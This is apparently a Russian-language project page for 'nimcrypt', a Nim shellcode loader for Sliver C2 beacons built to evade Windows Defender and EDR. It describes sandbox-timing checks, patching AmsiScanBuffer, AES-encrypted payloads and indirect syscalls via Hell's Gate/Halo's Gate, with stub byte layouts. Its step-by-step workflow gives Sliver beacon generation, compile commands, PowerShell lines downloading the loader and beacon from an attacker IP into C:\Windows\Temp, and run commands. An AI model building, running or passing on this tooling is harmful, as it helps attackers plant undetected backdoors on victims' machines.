Назад к обновлениям
UpdatedAug 20, 2026

nimcrypt — Updated!

Инструмент шифрования на основе Nim для обфускации шелл-кода и полезных нагрузок с целью обхода Windows Defender.

Поделиться

nimcrypt

Загрузчик шеллкода для Sliver, написанный на Nim, предназначенный для Windows x64. Два варианта, покрывающие два наиболее распространенных сценария доставки. Протестирован против Защитника Windows (Windows Defender) с включенной защитой в реальном времени.

Варианты

stager

Считывает зашифрованный бинарник шеллкода с диска, расшифровывает его в памяти и внедряет в себя. Используйте этот вариант, если у вас уже есть возможность сбросить файл и нужен небольшой простой бинарник.

loader.exe <shellcode.bin> [key_hex iv_hex]

Ключ и IV необязательны. Если они опущены, файл обрабатывается как нешифрованный шеллкод.

stageless

Загружает зашифрованный бинарник с вашего C2 через HTTP, используя стек WinHTTP от Windows, расшифровывает его в памяти и внедряет в себя. Файл никогда не касается диска. Используйте этот вариант, когда вы можете запустить бинарник на целевой машине, но не можете надежно сбросить второй файл.

Отредактируйте константы в начале stageless/loader.nim перед компиляцией:

c2Host = "C2_HOST"
c2Port = 443'u16
c2Path = "/payload.bin"
scKey  = "..."   # 64 шестнадцатеричных символа из encrypt.py
scIV   = "..."   # 32 шестнадцатеричных символа из encrypt.py

Техники

Обход песочницы (Sandbox evasion)

Загрузчик stageless вызывает Sleep(5000) при запуске и измеряет фактическое прошедшее время с помощью GetTickCount64. Если прошло менее 4500 мс, процесс завершается. Большинство автоматизированных сред песочниц ускоряют или пропускают ожидания, из-за чего проверка не проходит. Это происходит до любых сетевых операций или выполнения шеллкода, поэтому песочницы, анализирующие сетевое поведение, ничего не увидят.

Обход AMSI (AMSI bypass)

amsi.nim патчит AmsiScanBuffer во время выполнения, используя два уровня обфускации:

Скрытие строк с помощью хеширования FNV-1a. Строка AmsiScanBuffer никогда не появляется в бинарнике. Вместо этого её хеш FNV-1a вычисляется на этапе компиляции и сохраняется как константа. Во время выполнения загрузчик проходит по таблице экспорта amsi.dll, хеширует каждое имя экспорта и сравнивает с сохранённым значением, чтобы найти адрес функции, не храня строку в памяти.

Обфускация XOR на этапе компиляции. Имя DLL (amsi.dll) и байты патча (xor eax, eax; ret = 31 C0 C3) кодируются XOR на этапе компиляции со случайным ключом, генерируемым заново при каждой сборке через подпроцесс Python. Ключ встраивается как константа, а байты декодируются во время выполнения непосредственно перед использованием. Сырые байты меняются при каждой сборке, нарушая статические сигнатуры на последовательность патча.

Патч перезаписывает первые три байта AmsiScanBuffer на xor eax, eax; ret, заставляя каждый вызов возвращать AMSI_RESULT_CLEAN независимо от входных данных.

Шифрование полезной нагрузки (Payload encryption)

encrypt.py шифрует сырой шеллкод с помощью AES-256-CBC, используя случайно сгенерированный 32-байтовый ключ и 16-байтовый IV. Загрузчик расшифровывает на месте, используя Windows BCrypt API, поэтому на целевой машине не требуется сторонняя криптографическая библиотека.

Переход памяти от RW к RX

Память выделяется как PAGE_READWRITE, в неё записывается шеллкод, а затем область переключается в PAGE_EXECUTE_READ перед выполнением. Выделение сразу как PAGE_EXECUTE_READWRITE является известной сигнатурой, которую Defender и EDR явно помечают. Разделение фаз записи и выполнения позволяет избежать этого шаблона.

Непрямые системные вызовы (Indirect syscalls) (Hell's Gate + Halo's Gate)

stageless/syscalls.nim обходит как слой Win32 API (kernel32.dll), так и любые хуки userland в ntdll.dll, установленные EDR.

Определение SSN. При запуске загрузчик получает базовый адрес ntdll и анализирует её таблицу экспорта PE, собирая каждый экспорт Nt*, отсортированный по RVA. Для каждой необходимой NT-функции проверяются первые четыре байта:

  • 4C 8B D1 B8 (mov r10, rcx; mov eax, imm32) означает, что заглушка чиста, и SSN считывается непосредственно из байтов 4-5. Это Hell's Gate.
  • Всё остальное означает, что пролог функции был изменён хуком EDR. В этом случае загрузчик просматривает соседние записи в отсортированном списке, пока не найдёт чистую заглушку, затем вычисляет целевой SSN как neighbor_SSN +/- distance. SSN увеличиваются на единицу на каждую заглушку в порядке адресов. Это Halo's Gate.

Поиск гаджета. Загрузчик сканирует первую найденную чистую заглушку Nt* на предмет последовательности байт 0F 05 C3 (syscall; ret). Это даёт адрес внутри раздела .text, поддерживаемого образом ntdll, который можно повторно использовать.

Генерация заглушек. Для каждой требуемой функции 22-байтовая заглушка записывается на одну RW-страницу, которая перед использованием переключается в RX:

4C 8B D1              mov r10, rcx
B8 xx xx 00 00        mov eax, <SSN>
FF 25 00 00 00 00     jmp qword ptr [rip+0]
xx xx xx xx xx xx xx xx  адрес гаджета

jmp [rip+0] разыменовывает 8 байт, следующие сразу за ним (адрес гаджета), и перенаправляет выполнение на существующую последовательность syscall; ret внутри ntdll. Инструкция syscall выполняется из раздела .text ntdll, а не из нашей анонимной области, что обходит отслеживание на уровне ядра, откуда был сделан системный вызов.

Четыре функции, реализованные через непрямые системные вызовы: NtAllocateVirtualMemory, NtProtectVirtualMemory, NtCreateThreadEx и NtWaitForSingleObject.

Самостоятельное внедрение (Self-injection)

После расшифровки загрузчик stageless выделяет RW-область в своём собственном процессе через NtAllocateVirtualMemory, копирует шеллкод с помощью copyMem, переключает область в RX через NtProtectVirtualMemory и запускает поток через NtCreateThreadEx. Главный поток затем бесконечно блокируется на NtWaitForSingleObject, удерживая процесс живым, пока работают горутины бэкдора. Все четыре вызова проходят через описанные выше заглушки непрямых системных вызовов.

Самостоятельное внедрение минимизирует поверхность вызовов. Здесь нет межпроцессных API-вызовов (WriteProcessMemory, CreateRemoteThread и т.д.), которые являются основными векторами обнаружения для классического удалённого внедрения.

Поток выполнения (stageless)

  1. Проверка времени: сон 5 секунд, выход, если прошло < 4.5 с
  2. Патч AMSI: найти AmsiScanBuffer через FNV-1a, перезаписать на xor eax, eax; ret
  3. Определить непрямые системные вызовы: проанализировать экспорт ntdll, найти SSN (Hell's Gate + Halo's Gate), найти гаджет syscall; ret, записать заглушки
  4. Загрузка: GET-запрос WinHTTP, чтение тела ответа
  5. Расшифровка: AES-256-CBC через BCrypt на месте
  6. Выделение: NtAllocateVirtualMemory в собственном процессе (RW) через непрямой системный вызов
  7. Копирование шеллкода в выделенную область
  8. Защита: NtProtectVirtualMemory в PAGE_EXECUTE_READ через непрямой системный вызов
  9. Выполнение: NtCreateThreadEx через непрямой системный вызов
  10. Ожидание: NtWaitForSingleObject на дескрипторе потока через непрямой системный вызов

Поток выполнения (stager)

  1. Патч AMSI
  2. Чтение файла шеллкода с диска
  3. Расшифровка, если были предоставлены ключ и IV
  4. VirtualAlloc (RW), копирование шеллкода, VirtualProtect в RX
  5. Выполнение через преобразование указателя на функцию

Требования

На вашей сборочной Linux-машине:

  • Nim + nimble (nimble install winim)
  • mingw-w64 (x86_64-w64-mingw32-gcc)
  • Python 3 + pycryptodome (pip install pycryptodome)

Полный рабочий процесс

1. Запустите слушатель Sliver

[server] sliver > mtls --lhost 10.10.14.42 --lport 443

2. Сгенерируйте шеллкод для бэкдора

[server] sliver > generate beacon --mtls 10.10.14.42:443 --os windows --arch amd64 --format shellcode --skip-symbols beacon

3. Зашифруйте

python3 encrypt.py beacon.bin
# key: 16cd37303052eb9068cf18eee3fd36c2f448afc2778bbd5aa6b2eaf416191997
# iv:  83b82994e8c512d536f7d42e89d6e761

4. Установите константы и скомпилируйте

Отредактируйте stageless/loader.nim и задайте c2Host, c2Port, c2Path, scKey, scIV, затем из корня проекта:

# stageless
nim c -d:release -o:bins/loader.exe stageless/loader.nim

# stager
nim c -d:release -o:bins/loader.exe stager/loader.nim

Всегда компилируйте из корня проекта, чтобы загружался только корневой nim.cfg. На выходе получается статически слинкованный Windows x64 PE без внешних зависимостей от DLL, кроме стандартных системных библиотек.

5. Отдайте или передайте

Stageless: отдайте зашифрованный бинарник по HTTP на порту, соответствующем c2Port:

cd bins && python3 -m http.server 443

Stager: передайте оба файла на целевую машину:

(New-Object Net.WebClient).DownloadFile("http://10.10.14.42/loader.exe", "C:\Windows\Temp\loader.exe")
(New-Object Net.WebClient).DownloadFile("http://10.10.14.42/beacon_enc.bin", "C:\Windows\Temp\beacon.bin")

6. Выполните

Stageless:

loader.exe

Stager с шифрованием:

loader.exe beacon.bin 16cd37303052eb9068cf18eee3fd36c2f448afc2778bbd5aa6b2eaf416191997 83b82994e8c512d536f7d42e89d6e761

Stager без шифрования:

loader.exe shellcode.bin

Доставка через PowerShell

Если доставка осуществляется через загрузочный скрипт PowerShell, AMSI отсканирует скрипт до запуска загрузчика. Сначала пропатчите AMSI в вашей PS-сессии:

python3 gen_amsi.py

Вставьте вывод в PS-сессию перед загрузкой или выполнением чего-либо. Скрипт находит AmsiScanBuffer по хешу таблицы экспорта, поэтому строка никогда не появляется в открытом виде, а все байты патча закодированы XOR со случайным ключом, уникальным для каждого запуска.

Примечания

  • Требуется Windows 10 / Server 2016+ (Universal CRT)
  • BCryptSetProperty для режима цепочки возвращает STATUS_INVALID_PARAMETER, но BCrypt по умолчанию использует CBC, расшифровка работает корректно
  • Непрямые системные вызовы охватывают только четыре критических для внедрения NT-функции. Вызовы Winsock и BCrypt по-прежнему идут по обычным путям API, что допустимо, поскольку эти вызовы по отдельности ведут себя безобидно
  • Инструкция syscall в заглушках выполняется внутри раздела .text ntdll (поддерживаемого образом, подписанного Microsoft), а не со страницы заглушки, что обходит отслеживание источника системного вызова на уровне ядра

Ссылки

Вы можете найти больше подробностей о механизмах Защитника, техниках и других инструментах в моём блоге

Категории